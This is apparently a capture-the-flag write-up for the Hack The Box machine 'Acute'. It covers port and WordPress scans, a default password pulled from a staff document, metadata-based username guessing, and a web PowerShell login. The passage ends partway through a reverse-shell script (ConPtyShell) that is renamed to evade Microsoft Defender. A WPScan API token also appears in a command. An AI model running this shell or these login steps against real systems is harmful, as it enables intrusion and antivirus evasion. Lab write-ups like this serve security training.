- Published on
HTB Acute
- Authors
- Name
- collinhacks
- @collinhacks
Acute
Enumeration
nmap
find all ports
nmap -p- -Pn $IP -o full-enumerate.nmap
└─$ nmap -p- -Pn $IP -o full-enumerate.nmap --open 130 ⨯
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-27 19:21 EDT
Nmap scan report for acute.local (10.10.11.145)
Host is up (0.040s latency).
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 421.42 seconds
~/Tools/COLLINHACKS/Lab/nmap-awk.sh full-enumerate.nmap
cat ports.nmap
nmap
all identified ports + default scripts & service versions
nmap -p <1,2,3> -A --script default --script http-methods --script http-headers $IP -o identified-ports.nmap
└─$ nmap -p 443 -A --script default --script http-methods --script http-headers $IP -o identified-ports.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-27 19:32 EDT
Nmap scan report for acute.local (10.10.11.145)
Host is up (0.42s latency).
PORT STATE SERVICE VERSION
443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| tls-alpn:
|_ http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2023-08-27T23:32:45+00:00; +2s from scanner time.
|_http-title: Not Found
| http-headers:
| Content-Type: text/html; charset=us-ascii
| Server: Microsoft-HTTPAPI/2.0
| Date: Sun, 27 Aug 2023 23:32:42 GMT
| Connection: close
| Content-Length: 315
|
|_ (Request type: GET)
| ssl-cert: Subject: commonName=atsserver.acute.local
| Subject Alternative Name: DNS:atsserver.acute.local, DNS:atsserver
| Not valid before: 2022-01-06T06:34:58
|_Not valid after: 2030-01-04T06:34:58
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 1s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.19 seconds
nmap
vuln scan
nmap -p <1,2,3> --script vuln $IP -o vuln.nmap
nothing
Port Enumeration
**Port 443
- Certificate,
/etc/hosts
this
Common Name → webapp
atsserver.acute.local in
nmap
, this is the SSL certificate name.It’s a webapp, didn’t realize at first lol tried to go to
http://..
and it 0’d out
wordpress
WPScan activated
- had to add
--disable-tls-checks
cuz it was saying the SSL couldn’t be verified or something along those lines
- had to add
output
└─$ wpscan --url https://atsserver.acute.local/ --wp-content-dir /wp-content/ -e ap,at,tt,cb,dbe,u1-20,m --plugins-detection mixed --api-token ESATJqU9LYe7lFPuoNv9j18kpVos82Q8ruEKxNa4D9I --disable-tls-checks 4 ⨯ _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.24 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [+] URL: https://atsserver.acute.local/ [10.10.11.145] [+] Started: Sun Aug 27 21:04:50 2023 Interesting Finding(s): [+] Headers | Interesting Entries: | - server: Microsoft-IIS/10.0 | - x-powered-by: ASP.NET | Found By: Headers (Passive Detection) | Confidence: 100% Fingerprinting the version - Time: 00:00:13 <=========================================================================================================================================================> (1014 / 1014) 100.00% Time: 00:00:13 [+] WordPress version 5.8.2 identified (Insecure, released on 2021-11-10). | Found By: Emoji Settings (Passive Detection) | - https://atsserver.acute.local/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.8.2' | | [!] 27 vulnerabilities identified: | | [!] Title: WordPress < 5.8.3 - SQL Injection via WP_Query | Fixed in: 5.8.3 | References: | - https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95c1317 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21661 | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84 | - https://hackerone.com/reports/1378209 | | [!] Title: WordPress < 5.8.3 - Author+ Stored XSS via Post Slugs | Fixed in: 5.8.3 | References: | - https://wpscan.com/vulnerability/dc6f04c2-7bf2-4a07-92b5-dd197e4d94c8 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21662 | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-699q-3hj9-889w | - https://hackerone.com/reports/425342 | - https://blog.sonarsource.com/wordpress-stored-xss-vulnerability | | [!] Title: WordPress 4.1-5.8.2 - SQL Injection via WP_Meta_Query | Fixed in: 5.8.3 | References: | - https://wpscan.com/vulnerability/24462ac4-7959-4575-97aa-a6dcceeae722 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21664 | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jp3p-gw8h-6x86 | | [!] Title: WordPress < 5.8.3 - Super Admin Object Injection in Multisites | Fixed in: 5.8.3 | References: | - https://wpscan.com/vulnerability/008c21ab-3d7e-4d97-b6c3-db9d83f390a7 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21663 | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jmmq-m8p8-332h | - https://hackerone.com/reports/541469 | | [!] Title: WordPress < 5.9.2 - Prototype Pollution in jQuery | Fixed in: 5.8.4 | References: | - https://wpscan.com/vulnerability/1ac912c1-5e29-41ac-8f76-a062de254c09 | - https://wordpress.org/news/2022/03/wordpress-5-9-2-security-maintenance-release/ | | [!] Title: WordPress < 5.9.2 / Gutenberg < 12.7.2 - Prototype Pollution via Gutenberg’s wordpress/url package | Fixed in: 5.8.4 | References: | - https://wpscan.com/vulnerability/6e61b246-5af1-4a4f-9ca8-a8c87eb2e499 | - https://wordpress.org/news/2022/03/wordpress-5-9-2-security-maintenance-release/ | - https://github.com/WordPress/gutenberg/pull/39365/files | | [!] Title: WP < 6.0.2 - Reflected Cross-Site Scripting | Fixed in: 5.8.5 | References: | - https://wpscan.com/vulnerability/622893b0-c2c4-4ee7-9fa1-4cecef6e36be | - https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/ | | [!] Title: WP < 6.0.2 - Authenticated Stored Cross-Site Scripting | Fixed in: 5.8.5 | References: | - https://wpscan.com/vulnerability/3b1573d4-06b4-442b-bad5-872753118ee0 | - https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/ | | [!] Title: WP < 6.0.2 - SQLi via Link API | Fixed in: 5.8.5 | References: | - https://wpscan.com/vulnerability/601b0bf9-fed2-4675-aec7-fed3156a022f | - https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/ | | [!] Title: WP < 6.0.3 - Stored XSS via wp-mail.php | Fixed in: 5.8.6 | References: | - https://wpscan.com/vulnerability/713bdc8b-ab7c-46d7-9847-305344a579c4 | - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/ | - https://github.com/WordPress/wordpress-develop/commit/abf236fdaf94455e7bc6e30980cf70401003e283 | | [!] Title: WP < 6.0.3 - Open Redirect via wp_nonce_ays | Fixed in: 5.8.6 | References: | - https://wpscan.com/vulnerability/926cd097-b36f-4d26-9c51-0dfab11c301b | - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/ | - https://github.com/WordPress/wordpress-develop/commit/506eee125953deb658307bb3005417cb83f32095 | | [!] Title: WP < 6.0.3 - Email Address Disclosure via wp-mail.php | Fixed in: 5.8.6 | References: | - https://wpscan.com/vulnerability/c5675b59-4b1d-4f64-9876-068e05145431 | - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/ | - https://github.com/WordPress/wordpress-develop/commit/5fcdee1b4d72f1150b7b762ef5fb39ab288c8d44 | | [!] Title: WP < 6.0.3 - Reflected XSS via SQLi in Media Library | Fixed in: 5.8.6 | References: | - https://wpscan.com/vulnerability/cfd8b50d-16aa-4319-9c2d-b227365c2156 | - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/ | - https://github.com/WordPress/wordpress-develop/commit/8836d4682264e8030067e07f2f953a0f66cb76cc | | [!] Title: WP < 6.0.3 - CSRF in wp-trackback.php | Fixed in: 5.8.6 | References: | - https://wpscan.com/vulnerability/b60a6557-ae78-465c-95bc-a78cf74a6dd0 | - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/ | - https://github.com/WordPress/wordpress-develop/commit/a4f9ca17fae0b7d97ff807a3c234cf219810fae0 | | [!] Title: WP < 6.0.3 - Stored XSS via the Customizer | Fixed in: 5.8.6 | References: | - https://wpscan.com/vulnerability/2787684c-aaef-4171-95b4-ee5048c74218 | - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/ | - https://github.com/WordPress/wordpress-develop/commit/2ca28e49fc489a9bb3c9c9c0d8907a033fe056ef | | [!] Title: WP < 6.0.3 - Stored XSS via Comment Editing | Fixed in: 5.8.6 | References: | - https://wpscan.com/vulnerability/02d76d8e-9558-41a5-bdb6-3957dc31563b | - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/ | - https://github.com/WordPress/wordpress-develop/commit/89c8f7919460c31c0f259453b4ffb63fde9fa955 | | [!] Title: WP < 6.0.3 - Content from Multipart Emails Leaked | Fixed in: 5.8.6 | References: | - https://wpscan.com/vulnerability/3f707e05-25f0-4566-88ed-d8d0aff3a872 | - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/ | - https://github.com/WordPress/wordpress-develop/commit/3765886b4903b319764490d4ad5905bc5c310ef8 | | [!] Title: WP < 6.0.3 - SQLi in WP_Date_Query | Fixed in: 5.8.6 | References: | - https://wpscan.com/vulnerability/1da03338-557f-4cb6-9a65-3379df4cce47 | - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/ | - https://github.com/WordPress/wordpress-develop/commit/d815d2e8b2a7c2be6694b49276ba3eee5166c21f | | [!] Title: WP < 6.0.3 - Stored XSS via RSS Widget | Fixed in: 5.8.6 | References: | - https://wpscan.com/vulnerability/58d131f5-f376-4679-b604-2b888de71c5b | - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/ | - https://github.com/WordPress/wordpress-develop/commit/929cf3cb9580636f1ae3fe944b8faf8cca420492 | | [!] Title: WP < 6.0.3 - Data Exposure via REST Terms/Tags Endpoint | Fixed in: 5.8.6 | References: | - https://wpscan.com/vulnerability/b27a8711-a0c0-4996-bd6a-01734702913e | - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/ | - https://github.com/WordPress/wordpress-develop/commit/ebaac57a9ac0174485c65de3d32ea56de2330d8e | | [!] Title: WP < 6.0.3 - Multiple Stored XSS via Gutenberg | Fixed in: 5.8.6 | References: | - https://wpscan.com/vulnerability/f513c8f6-2e1c-45ae-8a58-36b6518e2aa9 | - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/ | - https://github.com/WordPress/gutenberg/pull/45045/files | | [!] Title: WP <= 6.2 - Unauthenticated Blind SSRF via DNS Rebinding | References: | - https://wpscan.com/vulnerability/c8814e6e-78b3-4f63-a1d3-6906a84c1f11 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3590 | - https://blog.sonarsource.com/wordpress-core-unauthenticated-blind-ssrf/ | | [!] Title: WP < 6.2.1 - Directory Traversal via Translation Files | Fixed in: 5.8.7 | References: | - https://wpscan.com/vulnerability/2999613a-b8c8-4ec0-9164-5dfe63adf6e6 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-2745 | - https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/ | | [!] Title: WP < 6.2.1 - Thumbnail Image Update via CSRF | Fixed in: 5.8.7 | References: | - https://wpscan.com/vulnerability/a03d744a-9839-4167-a356-3e7da0f1d532 | - https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/ | | [!] Title: WP < 6.2.1 - Contributor+ Stored XSS via Open Embed Auto Discovery | Fixed in: 5.8.7 | References: | - https://wpscan.com/vulnerability/3b574451-2852-4789-bc19-d5cc39948db5 | - https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/ | | [!] Title: WP < 6.2.2 - Shortcode Execution in User Generated Data | Fixed in: 5.8.7 | References: | - https://wpscan.com/vulnerability/ef289d46-ea83-4fa5-b003-0352c690fd89 | - https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/ | - https://wordpress.org/news/2023/05/wordpress-6-2-2-security-release/ | | [!] Title: WP < 6.2.1 - Contributor+ Content Injection | Fixed in: 5.8.7 | References: | - https://wpscan.com/vulnerability/1527ebdb-18bc-4f9d-9c20-8d729a628670 | - https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/ [i] The main theme could not be detected. [+] Enumerating All Plugins (via Passive and Aggressive Methods) Checking Known Locations - Time: 00:14:29 <======================================================================================================================================================> (103555 / 103555) 100.00% Time: 00:14:29 [+] Checking Plugin Versions (via Passive and Aggressive Methods) [i] Plugin(s) Identified: [+] js_composer | Location: https://atsserver.acute.local/wp-content/plugins/js_composer/ | Last Updated: 2023-08-02T03:59:57.000Z | [!] The version is out of date, the latest version is 7.0 | | Found By: Body Tag (Passive Detection) | | [!] 1 vulnerability identified: | | [!] Title: WPBakery Page Builder < 6.13.0 - Contributor+ Stored XSS | Fixed in: 6.13.0 | References: | - https://wpscan.com/vulnerability/ee99521d-be25-41ef-8988-5cfd66e9c5ca | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-31213 | | Version: 6.6.0 (60% confidence) | Found By: Body Tag (Passive Detection) | - https://atsserver.acute.local/, Match: 'js-comp-ver-6.6.0' [+] Enumerating All Themes (via Passive and Aggressive Methods) Checking Known Locations - Time: 00:03:24 <========================================================================================================================================================> (26137 / 26137) 100.00% Time: 00:03:24 [i] No themes Found. [+] Enumerating Timthumbs (via Passive and Aggressive Methods) Checking Known Locations - Time: 00:00:15 <==========================================================================================================================================================> (2568 / 2568) 100.00% Time: 00:00:15 [i] No Timthumbs Found. [+] Enumerating Config Backups (via Passive and Aggressive Methods) Checking Config Backups - Time: 00:00:01 <=============================================================================================================================================================> (137 / 137) 100.00% Time: 00:00:01 [i] No Config Backups Found. [+] Enumerating DB Exports (via Passive and Aggressive Methods) Checking DB Exports - Time: 00:00:00 <===================================================================================================================================================================> (80 / 80) 100.00% Time: 00:00:00 [i] No DB Exports Found. [+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected) Brute Forcing Attachment IDs - Time: 00:00:00 <========================================================================================================================================================> (100 / 100) 100.00% Time: 00:00:00 [i] Medias(s) Identified: [+] https://atsserver.acute.local/?attachment_id=1 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=2 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=3 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=4 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=5 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=6 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=8 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=7 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=9 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=10 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=11 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=12 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=13 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=14 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=15 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=16 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=17 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=18 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=19 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=20 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=21 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=22 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=23 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=24 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=25 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=26 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=27 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=28 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=29 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=30 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=31 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=32 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=33 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=34 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=35 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=36 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=37 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=38 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=39 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=40 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=41 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=42 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=43 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=44 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=45 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=46 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=47 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=48 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=49 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=50 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=51 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=52 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=54 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=53 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=55 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=56 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=57 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=58 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=59 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=60 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=61 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=62 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=63 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=64 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=65 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=66 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=67 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=68 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=69 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=70 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=71 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=72 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=73 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=74 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=75 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=76 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=77 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=78 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=79 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=80 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=81 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=82 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=83 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=84 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=85 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=86 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=87 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=88 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=89 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=90 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=91 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=92 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=93 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=94 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=95 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=96 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=97 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=98 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=99 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] https://atsserver.acute.local/?attachment_id=100 | Found By: Attachment Brute Forcing (Aggressive Detection) [+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:02 <==============================================================================================================================================================> (20 / 20) 100.00% Time: 00:00:02 [i] No Users Found. [+] WPScan DB API OK | Plan: free | Requests Done (during the scan): 2 | Requests Remaining: 23 [+] Finished: Sun Aug 27 21:23:59 2023 [+] Requests Done: 133694 [+] Cached Requests: 9 [+] Data Sent: 31.329 MB [+] Data Received: 21.508 MB [+] Memory used: 590.453 MB [+] Elapsed time: 00:19:09
Clicked around, found an about page that had a “New Starter Forms” button in the top right which downloaded a .docx
abiword New_Starter_CheckList_v7.docx
- because
libreoffice
was giving me errors
- because
Password1!
in here, we don’t have anything to use this against yet thoughdc_manage
is likely the-ConfigurationName
for powershell specifics- We also see https://atsserver.acute.local/Staff in the doc
- On page 3, hoving over the word “remote” which has a hyperlink, exposes a link https://atsserver.acute.local/Acute_Staff_Access/
- which returns a powershell login
find a username and a computer name to authenticate to web powershell
exiftool .docx
Few things stick out to me here. New PC name,
Acute-PC01
, the nameDaniel
, the creatorFcastle
, and the template used.On the about page, We see lots of First and Last names, and to match this to what we see in
exiftool
; FCastle could be first name F last name Castle.Trying
EDavies
:Password1!
gives a message that tells me the password is correct but not the computerEDavies
:Password1!
and computer nameAcute-PC01
worked
Onto Foothold
Exploitation
**********Port 443
Foothold
web powershell to reverse shell
- We now have Foothold. Let’s get a reverse shell so we have a stable shell to work with here
- Grab https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1
- When we
nano
the file we need to remove some things because Microsoft Defender will flag this as malicious. Also, we change the function fromInvoke-ConPtyShell
→collinhacks
nano rev.ps1
function collinhacks { Param ( [Parameter(Position = 0)] [String] $RemoteIp, [Parameter(Position = 1)] [String] $RemotePort, [Parameter()] [String] $Rows = "24", [Parameter()] [String] $Cols = "80", [Parameter()] [String] $CommandLine = "powershell.exe", [Parameter()] [Switch] $Upgrade ) if( $PSBoundParameters.ContainsKey('Upgrade') ) { $RemoteIp = "upgrade" $RemotePort = "shell" } else{ if(-Not($PSBoundParameters.ContainsKey('RemoteIp'))) { throw "RemoteIp missing parameter" } if(-Not($PSBoundParameters.ContainsKey('RemotePort'))) { throw "RemotePort missing parameter" } } $parameterscollinhacks = @($RemoteIp, $RemotePort, $Rows, $Cols, $CommandLine) Add-Type -TypeDefinition $Source -Language CSharp; $output = [collinhacksMainClass]::collinhacksMain($parameterscollinhacks) Write-Output $output } $Source = @" using System; using System.IO; using System.Text; using System.Threading; using System.Net; using System.Net.Sockets; using System.Net.NetworkInformation; using System.Runtime.InteropServices; using System.Diagnostics; using System.Collections.Generic; public class collinhacksException : Exception { private const string error_string = "[-] collinhacksException: "; public collinhacksException() { } public collinhacksException(string message) : base(error_string + message) { } } public class DeadlockCheckHelper { private bool deadlockDetected; private IntPtr targetHandle; private delegate uint LPTHREAD_START_ROUTINE(uint lpParam); [DllImport("kernel32.dll")] private static extern bool CloseHandle(IntPtr hObject); [DllImport("kernel32.dll", SetLastError = true)] private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); [DllImport("Kernel32.dll", SetLastError = true)] private static extern IntPtr CreateThread(uint lpThreadAttributes, uint dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId); private uint ThreadCheckDeadlock(uint threadParams) { IntPtr objPtr = IntPtr.Zero; objPtr = SocketHijacking.NtQueryObjectDynamic(this.targetHandle, SocketHijacking.OBJECT_INFORMATION_CLASS.ObjectNameInformation, 0); this.deadlockDetected = false; if (objPtr != IntPtr.Zero) Marshal.FreeHGlobal(objPtr); return 0; } public bool CheckDeadlockDetected(IntPtr tHandle) { this.deadlockDetected = true; this.targetHandle = tHandle; LPTHREAD_START_ROUTINE delegateThreadCheckDeadlock = new LPTHREAD_START_ROUTINE(this.ThreadCheckDeadlock); IntPtr hThread = IntPtr.Zero; uint threadId = 0; //we need native threads, C# threads hang and go in lock. We need to avoids hangs on named pipe so... No hangs no deadlocks... no pain no gains... hThread = CreateThread(0, 0, delegateThreadCheckDeadlock, IntPtr.Zero, 0, out threadId); WaitForSingleObject(hThread, 1500); //we do not kill the "pending" threads here with TerminateThread() because it will crash the whole process if we do it on locked threads. //just some waste of threads :( CloseHandle(hThread); return this.deadlockDetected; } } public static class SocketHijacking { private const uint NTSTATUS_SUCCESS = 0x00000000; private const uint NTSTATUS_INFOLENGTHMISMATCH = 0xc0000004; private const uint NTSTATUS_BUFFEROVERFLOW = 0x80000005; private const uint NTSTATUS_BUFFERTOOSMALL = 0xc0000023; private const int NTSTATUS_PENDING = 0x00000103; private const int WSA_FLAG_OVERLAPPED = 0x1; private const int DUPLICATE_SAME_ACCESS = 0x2; private const int SystemHandleInformation = 16; private const int PROCESS_DUP_HANDLE = 0x0040; private const int SIO_TCP_INFO = unchecked((int)0xD8000027); private const int SG_UNCONSTRAINED_GROUP = 0x1; private const int SG_CONSTRAINED_GROUP = 0x2; private const uint IOCTL_AFD_GET_CONTEXT = 0x12043; private const int EVENT_ALL_ACCESS = 